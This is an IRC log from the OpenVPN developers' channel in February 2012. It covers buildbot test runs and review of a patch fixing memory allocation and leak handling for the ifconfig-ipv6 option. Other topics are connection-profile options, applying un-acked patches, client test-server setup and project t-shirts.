[~samuli@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 05:04 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:04 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:14 <@mattock> three of public test server OpenVPN server instances now seem to work 05:17 <@mattock> buildbot should be sending summary mails for every build 05:43 <@mattock> I recall some discussion regarding this bug... https://community.openvpn.net/openvpn/ticket/163 05:43 <@vpnHelper> Title: #163 (Segfault in PF) – OpenVPN Community (at community.openvpn.net) 05:50 <@mattock> https://community.openvpn.net/openvpn/ticket/32 05:50 <@vpnHelper> Title: #32 (BSOD hangs when is TAP- enabled. Hyperthreaded or dual core.) – OpenVPN Community (at community.openvpn.net) 05:50 <@mattock> might be a problem still 05:54 <@cron2> test run 1: all tests OK. 05:56 <@cron2> test run 2: all tests OK. 05:56 <@cron2> test run 3: all tests OK. 05:57 <@cron2> test run 4: 1 test failures. FAIL. 05:57 <@cron2> meh 05:57 <@cron2> tap fail 06:01 <@mattock> this sounds fixable: https://community.openvpn.net/openvpn/ticket/36 06:01 <@vpnHelper> Title: #36 (Openvpn v2.1.1 does not recover from interface reset) – OpenVPN Community (at community.openvpn.net) 06:15 <@cron2> test run 4: all tests OK. 06:16 <@cron2> test run 5: all tests OK. 06:17 <@cron2> test run 6: all tests OK. 06:24 <@vpnHelper> RSS Update - testtrac: Removed support for calling gc_malloc with a NULL gc_arena struct <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=bee92b479414d12035b0422f81ac5fcfe14fa645> || Moved out of memory prototype to error.h, as the definition is in error.c <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=2b7deeb6632582fcfb23492e77bb09395d1be4ca> 06:55 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 07:00 <@vpnHelper> RSS Update - testtrac: Document IPv6-related environment variables. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=04d66ef064d5ac1ade4b30329b87239aac95d821> 07:03 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:03 <@mattock> mattock reporting in from community track 07:04 <@d12fk> mattock: wowo you could live irc cover this =) 07:05 <@mattock> yep :) 07:43 <@cron2> so, I'm packing my stuff now, want to take the 15:05 bus to brussels zuid 07:43 <@cron2> great meeting you all! 08:09 <@mattock> who is going to be in the hackroom at 16:00? 08:35 <@mattock> this "you're doing it wrong" speech is fairly good 08:35 <@mattock> we could use a couple of things from here 08:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] --- Log closed Sun Feb 05 09:12:39 2012 --- Log opened Mon Feb 06 07:20:17 2012 07:20 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:20 -!- Irssi: #openvpn-devel: Total of 10 nicks [5 ops, 0 halfops, 0 voices, 5 normal] 07:20 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 09:28 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:02 -!- Netsplit *.net <-> *.split quits: waldner 14:53 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 15:49 <@andj> alloc_buf actually calls alloc_bug_gc(), with a NULL parameter.... 15:49 <@andj> *alloc_buf_gc 17:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:55 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 19:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] --- Day changed Tue Feb 07 2012 01:41 <@cron2> andj: oh, fun 02:27 -!- dazo_afk is now known as dazo 02:32 <@dazo> andj: then you probably see why I did what I did in my patch ... kicking out alloc_buf_gc call .... Except of the openvpn_dmalloc() #ifdef mess in alloc_buf ... I honestly struggle to see the purpose of it ... 02:32 * dazo arrived home safely yesterday evening 03:04 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:04 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:21 <@dazo> cron2: have you had a chance to look at my patch? ... I'm seriously considering to send it to the mailing list 03:23 <@dazo> doesn't need an ack ... just check that my mind was reasonably sane when I did the commit 03:32 <@cron2> what, where? 03:32 * cron2 is confused, I thought the last un-acked patch was Heikos 03:36 <@dazo> cron2: I sent one to you and adriaan directly, as a pre-review 03:36 <@dazo> (about the gc_malloc() stuff) 03:39 <@dazo> cron2: Date: Mon, 06 Feb 2012 00:56:20 +0100 .... Subject: Re: [Openvpn-devel] [PATCH 2/2] Removed support for calling gc_malloc 03:44 <@cron2> ah, there 03:46 <@cron2> uh 03:47 <@cron2> + ret = calloc(1, n); 03:47 <@cron2> + } 03:47 <@cron2> memcpy (ret, str, n); 03:47 * cron2 expects to see error handling here 03:47 <@dazo> oh good point! 03:49 <@cron2> there's a check_malloc_return() macro :) 03:49 <@dazo> yupp :) 03:52 <@cron2> as for the FIXME in options.c: indeed, ipv6_local is created via string_alloc(..., NULL) and needs a free() (minor leak, as it's not in any loop, but still) 03:53 <@cron2> otherwise, this looks sane 03:54 <@dazo> goodie, then I'll add check_malloc_return() on those two places where I put calloc() 03:54 <@cron2> and please add the free(ipv6_local) instead of the FIXME comment :) 03:56 <@dazo> hehe ... I just need to figure out where to place that free() :) 03:56 <@dazo> my brain capacity was too low that night :) 03:56 <@cron2> oh 03:56 <@cron2> you can't free() it :) 03:56 <@cron2> options->ifconfig_ipv6_local = ipv6_local; 03:57 <@cron2> it becomes part of the config structure, and that's kept around forever 03:57 <@cron2> so it can only be freed if there is a second "ifconfig-ipv6 ..." config statement 03:58 * cron2 needs more brains as well 03:59 <@dazo> yeah, that's what I saw as well :) This needs to be thought of carefully :) 03:59 <@dazo> s/of/through/ 04:00 <@dazo> (that's an odd typo) 04:32 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:32 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:33 <+janjust> heey guys, I've got 2 patches for openvpn (against the git version) but am unsure how to create a proper patch file 04:33 <+janjust> one patch is for the elliptic curve stuff 04:34 <+janjust> the second patch is to make a few options connection-entry specific 04:35 <@dazo> janjust: have you committed them to your local git tree? 04:35 <@dazo> (git add, git commit -s) 04:36 <+janjust> errr, I'm a total git n00b ; I did a 'git clone' originally 04:36 <+janjust> ah will try that 04:36 <@dazo> https://community.openvpn.net/openvpn/wiki/GitCrashCourse 04:36 <@vpnHelper> Title: GitCrashCourse – OpenVPN Community (at community.openvpn.net) 04:36 <@dazo> janjust: ^^ that might provide what you need quicker :) 04:37 <+janjust> hehe , thx, I'm reading up on it right now 04:37 <+janjust> BTW: the second patch makes the following options connection-entry specific: 04:37 <+janjust> fragment, mssfix, tun-mtu, tun-mtu-extra, link-mtu, explicit-exit-notify 04:38 <+janjust> can you think of other options which should be connection-entry specific? 04:39 <@dazo> I think it was one ticket regarding to http-proxy user/password 04:40 <+janjust> lemme check 04:41 <@dazo> https://community.openvpn.net/openvpn/ticket/78 04:41 <@vpnHelper> Title: #78 (openvpn http-proxy auth issue with profiles) – OpenVPN Community (at community.openvpn.net) 04:41 <@dazo> if that's possible to squeeze in (meaning, not to much work), that'd be great! 04:42 <+janjust> that's a different issue (from a code point of view) 04:42 <+janjust> but I'll have a look 04:42 <+janjust> the issue I'm trying to address is that with 2 connection profiles you cannot have one UDP+fragment and the other TCP 04:43 <@dazo> yeah, that's right 04:43 <@dazo> I can't think of any other options right now which makes the profiles tricky 04:44 <+janjust> I've thrown in the mtu settings as well - I saw no reason not to 04:45 <+janjust> a user can then define multiple profiles with different MTU settings 04:45 <@dazo> that actually makes sense ... as that might be different in some cases 04:45 <@dazo> (not common, but plausible scenario) 04:45 <+janjust> yep; I was thinking 'anything not pushable' should be connection-entry specific 04:46 <@dazo> yeah 04:46 <+janjust> hmmm the user/password thingie is different from the others... might be better to make it a separate patch 04:48 <@dazo> yeah, agreed ... and we've pushed it to 2.4 anyway ... so no stress there 05:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:42 <@cron2> dazo: nack on the patch as it is right now - the code is fine, but the ipv6_local "FIXME" comment is misleading as it stands - it *does* leak, but free(ipv6_local) isn't going to help 05:44 <@dazo> okay 05:44 <@dazo> - /* FIXME: Check if ipv6_local might miss a free(). It might leak 05:44 <@dazo> - * via get_ipv6_addr() -> string_alloc() ? */ 05:44 <@dazo> + /* FIXME: Check if ipv6_local is missing a free() somehwere. It leaks 05:44 <@dazo> + * via get_ipv6_addr() -> string_alloc() 05:44 <@dazo> + */ 05:44 <@dazo> cron2: ^^ that's better for you? 05:44 <@dazo> duh! 05:44 <@dazo> wrong paste 05:45 <@dazo> - /* FIXME: Check if ipv6_local might miss a free(). It might leak 05:45 <@dazo> - * via get_ipv6_addr() -> string_alloc() ? */ 05:45 <@dazo> + /* FIXME: ipv6_local is missing a free() somehwere. It leaks 05:45 <@dazo> + * via get_ipv6_addr() -> string_alloc() 05:45 <@dazo> + */ 05:45 <@dazo> that's the proper one 05:47 <@cron2> mmmh 05:48 <+krzee> isnt that the same paste? 05:48 <@dazo> nope, not if you look carefully ;-) 05:48 <+krzee> oh there it is 05:48 <@cron2> not fully convinced - it needs to be kept, and leaks only if that config statement is there twice 05:49 <@dazo> yeah, I'm conservative when it comes to leaks ... as that will show up with memory debuggers ... like valgrind 05:49 <@cron2> (and since we might need to re-init the tun interface, it cannot be free() before OpenVPN ends, normally) 05:50 <@dazo> multiple ifconfig-ipv6 statements sounds nasty ... or, not? 05:51 <@dazo> do we support multiple IPv6 addresses on the tun devices? 05:51 <@cron2> well, only the last one would stick, and everything else is ignored - and it will cause some 20-80 bytes of memleak every time... 05:51 <@cron2> no 05:51 <@dazo> so 05:51 <@cron2> second ifconfig-ipv6 will overwrite config variables 05:51 <@cron2> it's not particularily nasty, but it's also not useful either 05:51 <@dazo> exactly ... so what if we hard-lock it to a "sorry, ifconfig-ipv6 is already configured" error 05:52 <@dazo> and then free() it for the sake of politeness when openvpn ends? 05:52 <@cron2> I'm not a big fan of free()-at-the-end-of-the-program, that's what the OS is there for - and we have more important things to focus on 05:53 <@dazo> yeah, I see that point ... however, valgrind reports such crap ... and then it's trickier to discover other smaller leaks 05:54 <@dazo> except of that, I agree with you ... but to catch other leaks is also needed .... (2-3 bytes over a few hours might be hidden due to such crap) 05:54 * janjust tends to agree with dazo 05:55 <+janjust> 'free()-at-the-end' means you do your memory bookkeeping right; if not, then it is harder to find memory leaks elsewhere 05:55 * cron2 tends to disagree "ignore one-off's during program initialization" 05:55 <@cron2> janjust: doing things the operating system will already do for will just take away valuable coding time, and we already have not enough of that 05:56 <@cron2> and might even result in funny "openvpn core dumps at program end" bugs (if it's not done right) which are completely useless waste of time to debug 05:56 <+janjust> that's a valid point, cron2 , but it's good housekeeping to know what you' 05:56 <+janjust> what you've malloced 05:58 <@cron2> janjust: I agree on the "know what you did" part, and if it's happening in any sort of loop, or the memory is never used again after a certain point during normal program operation, I'm all with you. But "at program end" is just... wasting human resources to please machines 05:58 * dazo often hears from people he is like a machine .... 05:59 * janjust saw dazo and immediately thought "there's a lean mean coding machine" :) 05:59 <@cron2> but anyway, to avoid a leak here, you could do 05:59 <@dazo> lol 06:00 <@cron2> if ( options->ifconfig_ipv6_local ) free( options->ifconfig_ipv6_local ); 06:00 <@cron2> then it won't leak if called multiple times (which *might* happen during tunnel re-connection, would need to try) 06:00 <+janjust> cron2: I agree mostly with you, it's just that I've seen code being reused to often that was written with 'well, this stuff happens near the end of the program so we don't need to clean it up" and with the re-use all of a sudden it was right in the middle of a loop 06:00 <@dazo> I was about to suggest: 06:01 <@dazo> + 06:01 <@dazo> + if (options->ifconfig_ipv6_local) 06:01 <@dazo> + { 06:01 <@dazo> + msg( msglevel, "ifconfig-ipv6 is already set"); 06:01 <@dazo> + goto err; 06:01 <@dazo> + } 06:01 <@cron2> code reuse is overvalued, and fairly often a bad idea... sometimes even rockets explode due to it :-) 06:01 <@cron2> dazo: yeah, but check first that this isn't triggering on tun-reconnect time 06:01 <@cron2> (when options are pushed again) 06:02 <+janjust> cron2: instead of " if ( options->ifconfig_ipv6_local ) free( options->ifconfig_ipv6_local );" I'd add 'options->ifconfig_ipv6_local = NULL' 06:02 <@dazo> cron2: gotcha! 06:02 <@cron2> janjust: what good is that, if the next line would be 06:02 <@cron2> options->ifconfig_ipv6_local = ipv6_local; 06:02 <@cron2> anyway? 06:03 <+janjust> ah, I wasn't aware of that; I thought this was cleanup code only... and a free normally does not set a pointer to NULL 06:03 <@cron2> janjust: this is not about "at end of program time" (I'm *not* going to spend any time on that), but about re-initializing ifconfig-ipv6 in options.c 06:03 <@dazo> not sure how the struct options are declared (if it is zero'd to start with) ... but some compilers/OS combos, don't do that 06:03 <@dazo> implicit 06:03 <@cron2> init_options (struct options *o, const bool init_gc) 06:03 <@cron2> CLEAR (*o); 06:04 <@cron2> nah, red herring, sorry 06:06 <@cron2> ah, no. Just not called from options.c, but fom main() in openvpn.c 06:06 <@dazo> goodie, then I'd say it's clear that ifconfig_ipv6_local is NULL, implicit due to the CLEAR() 06:06 <@cron2> /* initialize options to default state */ 06:06 <@cron2> init_options (&c.options, true); 06:06 <@cron2> yes 06:09 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 06:10 <@cron2> mmmh. so I scared him away by refusing to cleanup? :-o 06:13 <@dazo> on #openvpn he said he went for lunch :) 06:14 <@cron2> hrhr :) 06:17 * dazo tries to figure out how to detect reconnects .... that looks like a massive thing, add_option() doesn't really get that info, I believe 06:22 <@andj> dazo: great work, was planning on doing that this evening :) 06:22 <@dazo> nice! :) 06:22 <@dazo> andj: well, cron2 isn't too happy about some details though :) 06:22 <@andj> I'll have a better look at it later for a formal ack... Busy time at work right now 06:22 <@dazo> sure no problem :) 06:23 <@dazo> I'll try to have a v2 patch out soonish 06:23 * dazo decides to take the easy path for now 06:30 <@dazo> cron2: a trick question for you .... If --ifconfig-ipv6 is called again, and the *new* configuration is change *and* is faulty .... should we wipe out the old config? or should we just keep the old one? 06:31 <@dazo> (scenario: server is reconfigured with new IPv6 push stuff and restarted ... but to be sure a clean restart appears, the restart is delayed longer than the --keepalive setting) 06:35 <@cron2> dazo: do the free() in the conditional block, directly before assigning to options->ifconfig_ipv6_local 06:35 <@dazo> so, keep the old settings if the new is wrong 06:35 <@cron2> that way the old config is kept and memory is not leaked either way 06:35 <@cron2> yes 06:36 <@dazo> oki 07:33 <@dazo> cron2: andj: v2 of the gc_malloc() fixes are sent to the ML ... I found another issue in string_alloc() ... it would just assert() if the DMALLOC crap would be enabled 07:38 <@cron2> yeah, I can see that :-) (DMALLOC is nice, btw :) ) 07:38 <@dazo> :) 07:38 <@cron2> huh, you get a warning if you call free() on a const char*? 07:39 <@dazo> yeah 07:39 <@cron2> this looks like "more convolutions to make machines happy" to me 07:40 <@dazo> well, it's kind of is true though ... you remove the buffer to an allocated pointer ... if that pointer (implicit the buffer) is supposed to be const, then it should complain 07:40 <@cron2> you're not modifying it 07:41 <@dazo> not the pointer, but what the pointer points at 07:41 <@cron2> you're not modifying what the pointer points at either :-) - but yeah, maybe that should not be const in the first place, then 07:41 <@dazo> I tried to take away the const from ifconfig_ipv6_local ... but then it complained somewhere else that it was not a const pointer 07:41 <@dazo> in helper.c .... 07:42 <@cron2> yeah, that's because print_in6_addr returns a "const char *" 07:42 <@cron2> oh 07:42 <@cron2> that's an interesting one, btw 07:43 <@dazo> print_in6_addr() returns const char * 07:43 <@cron2> helper.c can set ifconfig_ipv6_local from gc space 07:43 <@dazo> oh true 07:44 <@cron2> I'm not sure I can come up with a sequence of events that could then trigger the free() (and crash), because the helper functions are only called on --server-ipv6, and there is nothing that would re-parse config on the server afterwards 07:46 <@cron2> but the underlying assumption "if there is something in, we can safely free() it" isn't true 07:49 <@dazo> I don't see any other places except in the server paths where this might be risky - but because if that I think the current solution is the safest one (having it as const - and ignoring const when we really know what we're doing) 11:02 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:02 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:44 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:38 <@mattock> update on the shirts... the order was placed to ooshirts.com, but for some reason the need the s.c. "PMS/Pantone" color codes for the OpenVPN logo 12:39 <@mattock> I'm a bit surprised they're not able to get fairly good match from the CMYK/RGB color codes 12:39 <@mattock> as pantone is a proprietary color format used in printing (includes things like metallic colors etc.) 12:40 <@mattock> also, they said that the blue is probably too dark for the black background 12:41 <@mattock> I tend to agree 13:28 -!- dazo is now known as dazo_afk 19:04 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 19:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:57 -!- Netsplit *.net <-> *.split quits: @mattock, uuuppz, @d12fk, @cron2, @vpnHelper, Intensity, @andj 19:59 -!- Netsplit over, joins: @mattock, @cron2, Intensity, uuuppz, @d12fk, @andj, @vpnHelper 20:07 -!- Netsplit *.net <-> *.split quits: Intensity, @andj 20:08 -!- Netsplit over, joins: Intensity, @andj 20:16 -!- Netsplit *.net <-> *.split quits: uuuppz, @vpnHelper, @mattock 20:16 -!- Netsplit over, joins: @mattock, @vpnHelper, uuuppz 21:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:14 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 252 seconds] 23:18 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 252 seconds] 23:18 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 23:18 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:18 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 23:33 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 252 seconds] --- Log closed Tue Feb 07 23:33:46 2012 --- Log opened Fri Feb 10 06:59:17 2012 06:59 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 06:59 -!- Irssi: #openvpn-devel: Total of 12 nicks [6 ops, 0 halfops, 1 voices, 5 normal] 06:59 !wolfe.freenode.net [freenode-info] if you're at a conference and other people are having trouble connecting, please mention it to staff: http://freenode.net/faq.shtml#gettinghelp 06:59 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 08:14 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 08:14 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 08:14 <@d12fk> dazo: updated windows unicode paths patch in on te way 08:16 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 08:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 08:19 <@d12fk> dazo: and don't forget "[PATCH] set Windows environment variables as UCS-2" 08:21 <@d12fk> it's in the same thread as the one above 08:24 <@d12fk> "[PATCH] fix warnings in event.c when building for win32-64" ain't a brainer as well 08:25 <@d12fk> "[PATCH] remove wrapper code for Windows CryptoAPI function" isnt in there as well 08:26 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 08:29 <@d12fk> as you can tell i was going through the unapplied patches 08:29 <@d12fk> aaand.. that's it 08:29 <@d12fk> just the few left 08:36 <@mattock> in theory the new buildmaster config should now include connectivity tests... we'll see what happens in practice... 08:42 <@mattock> master.cfg integration works fine... builders with no build flags are used to build and connect 08:43 <@mattock> the rest are used only for build testing 08:43 <@dazo> d12fk: cool, thx! 08:44 <@mattock> still got to stab at t_client.rc and make sure the openvpn instances on test server work properly and we're done 08:48 <@d12fk> dazo: some of the mentioned patches even has acks already 08:49 <@d12fk> some are only intra irc metting from james 08:49 <@dazo> d12fk: do you remember vaguely when those meetings where? So I can point at those when blaming James having acked them ;-) 08:51 <@d12fk> ages ago =) 08:52 <@d12fk> take a look at them and youll be comfortable with them i guess 08:54 <@dazo> yeah, I'm considering to just slip them in without the acked-by messages ... they fit the new regime I described a while ago ... (useful patches without acks may be applied, just like that) 08:55 <@d12fk> besides the UCS-2 env they can go in after 2.3 i dont care, i just dont want them to get lost 08:56 <@dazo> agreed ... I see no reasons why to not grab them now 09:00 <@mattock> dazo: when slipping in patches without an explicit ACK, it probably makes sense to add a tag like "Acked-by: Lazy consensus" 09:01 <@mattock> to keep track of which patches were really reviewed by someone 09:02 <@mattock> if those lazy consensus patches give no more headaches than ACKed patches, then we're in good shape 09:04 <@dazo> mattock: isn't that pretty obvious, even without? I mean, it's only James' patches which goes without review these days 09:05 <@mattock> well, as long as we can parse the "automatically" merged patches from git logs with minimal effort I'm fine with whatever :) 09:09 <@dazo> no 'Acked-by:' line == lazy consensus :) 09:24 <@mattock> except for James' patches 09:24 <@mattock> so "lazy consensus if author not james and acked-by line does not exist" :) 09:25 <@mattock> although it would make sense to put James' patches through the standard review process 09:32 <@mattock> actually, "lazy consensus if author not james and acked-by line does not exist and committed after late 2011" :P 09:46 <@dazo> now you are just pedantic! :-P 09:46 <@dazo> hahaha! https://fbcdn-sphotos-a.akamaihd.net/hphotos-ak-snc7/426769_376424459039229_100000150355669_1640029_516942824_n.jpg 09:54 <@mattock> dazo: I already feel my pain when somebody asks: "do the lazy consensus patches have more problems than ACKed patces" :P 09:54 <@mattock> that question is prohibited, then :P 09:55 <@dazo> I would say no. Because there are people on the -devel list who scream instantly if they disagree, but are silent if they don't see anything 09:56 <@dazo> b) this doesn't happen to releases, only the development code, which includes alpha/beta/release candidates before final release - thus time enough to fix them 09:56 <@dazo> c) if these patches causes problem, they're kicked out again (reverted) much quicker without much discussion 09:57 <@mattock> yep, we got plenty of room to maneuver 09:57 <@dazo> d) a un-acked patch doesn't mean everything un-acked is accepted. It's only those patches which the repository maintainer considers useful which are included 09:58 <@dazo> so there's a lazy-review more than lazy consensus 09:58 <@mattock> silent consensus? 10:01 <@mattock> anyways, I agree 100%... my motivation was being able to easily filter the lazily reviewed patches if necessary for any reason -> hence the suggestion for a special tag 10:01 <@dazo> I'm struggling with 'consensus' in general in this context ... it's simply not explicitly reviewed and acked 10:02 <@mattock> "Hmm, I guess this patch is ok, but I don't have a strong opinion about it"... I guess that's more like lazy review than consensus 10:02 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:02 -!- mode/#openvpn-devel [+v krzie] by ChanServ 10:02 <@mattock> as nobody is actually saying anything :) 10:02 <@dazo> exactly 10:03 <@mattock> so, if we need to give it a name, it'll be lazy review, then :P 10:03 <@mattock> hmm, t_client.sh tests run, but fail, and it is not the firewall... need to debug a little more 10:03 <@mattock> but we're close 10:04 <@dazo> very nice! 10:04 <@dazo> is there some docs on how to setup a t_client.sh environment? ... I'd like to setup my own environment as well 10:05 <@dazo> (which will test eurephia as well as openvpn) 10:10 <@mattock> well, besides t_client.sh/.rc ... probably not 10:12 <@mattock> cron2 can give you an example of server-side configuration (for Linux) 10:12 <@mattock> my server is running FreeBSD, so the startup script is slightly different 10:13 <@mattock> (the one that launches the openvpn server instances) 10:20 * dazo wonders if the universe is conspiring against him, as he once again have an openvpn release *and* a kernel release to take care of in the same time scope 10:20 <@mattock> the universe is blind and stupid, you just have bad luck :) 10:21 <@dazo> that's gotta be a proof that the universe *is* conspiring, because I always have bad luck ..... 10:22 <@mattock> :D 10:22 <@mattock> or maybe it's trying to help you, but _it_ has really bad luck, and it's blind and stupid 10:23 * dazo votes for the universe to stop helping him in his life .... 10:23 <@mattock> ... ok, back to t_client.rc on monday 10:23 <@dazo> :) 10:23 <@mattock> well, 2.3 alpha should be fairly solid (knocks on wood), so it should not give you much trouble 10:24 <@dazo> I'm so gonna hold that one against you as the bug tickets fly in ;-) 10:27 <@mattock> lol 10:27 <@mattock> well, I've earned it 10:27 <@mattock> just like Bill Gates with his famous 640k statement 10:34 <@dazo> mattock: http://www.youtube.com/watch?v=5EkkMfjetEY :-P 10:34 <@vpnHelper> Title: Truth Happens Remix - YouTube (at www.youtube.com) 10:35 <@dazo> (many good similar quotes there after a little while) 10:41 <@cron2> mattock: uh, the tarball I gave you *is* the server-side configuration... 10:41 <@mattock> yes yes 10:42 <@mattock> but it's customized to my FreeBSD test server 10:45 <@cron2> dazo: regarding t_client.sh - there's a sample t_client.sh in the tree that has "sort of" instructions what needs to go where 10:46 <@cron2> mattock: no, what I sent you is "straight from a linux box" :) 10:46 <@mattock> yes, I know 10:46 <@dazo> cron2: okay, I'll try to have a look at that ... first need to sort out some certificate issues, then I'll prepare the server for t_client.sh 10:46 * cron2 is confused - what is missing now? 10:46 <@cron2> dazo: basically the thing is 10:46 <@mattock> (I wonder what I said earlier) :D 10:47 <@cron2> - decide what you want to test 10:47 <@cron2> - setup server instances that do that, like "udp/tun/p2m", with unique networks to it and "ip-pool-persist" (or per-client ifconfig-push statements) 10:48 <@cron2> - put matching stanzas _1, _2, _3, ... in t_client.sh with the IP addresses that the server will give to *that* client 10:48 <@cron2> - "run test!" 10:48 <@mattock> cron2: I'll continue the t_client.rc integration on monday, don't have time this evening 10:48 <@cron2> the tricky bit is "get the ip addresses right if every client has a unique cert" (which is a must if clients can run tests in parallel) 10:48 <@cron2> mattock: yeah, that was more like a rough plan for dazo 10:49 <@cron2> mattock: what you asked was: 10:49 <@cron2> 17:12 <@mattock> cron2 can give you an example of server-side configuration (for Linux) 10:49 <@cron2> ... and that's in the tarball :) 10:49 <@dazo> :) 10:50 <@mattock> cron2: yep, and I was directing dazo towards you rather than me :P... it's called delegation (or being sneaky) :D 10:53 <@cron2> mattock: you could have just given him the tarball :-) - dazo: http://public.greenie.net/gert/misc/openvpn-test-server.tar.gz (just config and startup script, no key files) 11:04 -!- raidz_afk is now known as raidz 11:14 <@dazo> cron2: thx! 11:16 <@dazo> I'll expand those tests using --auth-user-pass on the client side and the eurephia plug-in on the server side ... that way we're getting much of the plug-in interface (v1 API only, at the moment) tested as well 12:17 -!- dazo is now known as dazo_afk 12:28 <@cron2> dazo: yeah, good plan. I'm basically testing connectivity stuff and various ways to setup interfaces (topology net30, subnet, ...), and it's very useful if someone who actually uses the plugin-interface tests that one :) 19:04 -!- raidz is now known as raidz_afk 19:14 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:49 < ecrist> raidz_afk: I will have LDAP finished to the point of useful this weekend. I'd like to plan pushing out the new forum the 27th of Feb, if we can. 20:49 < ecrist> even if the theming isn't done. --- Day changed Sat Feb 11 2012 02:01 -!- Netsplit *.net <-> *.split quits: Intensity 02:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:37 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 02:50 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 13:52 <@vpnHelper> RSS Update - wishlist: When will v6 server be supported? <http://forums.openvpn.net/topic9620.html> 19:07 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:38 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 272 seconds] 22:48 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel --- Day changed Sun Feb 12 2012 01:18 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 01:19 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 02:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 06:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:41 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 12:48 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 13:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:41 <@cron2> mattock: is buildbot testing --disable-management? 15:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 16:07 <@mattock> cron2: yep 16:34 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping 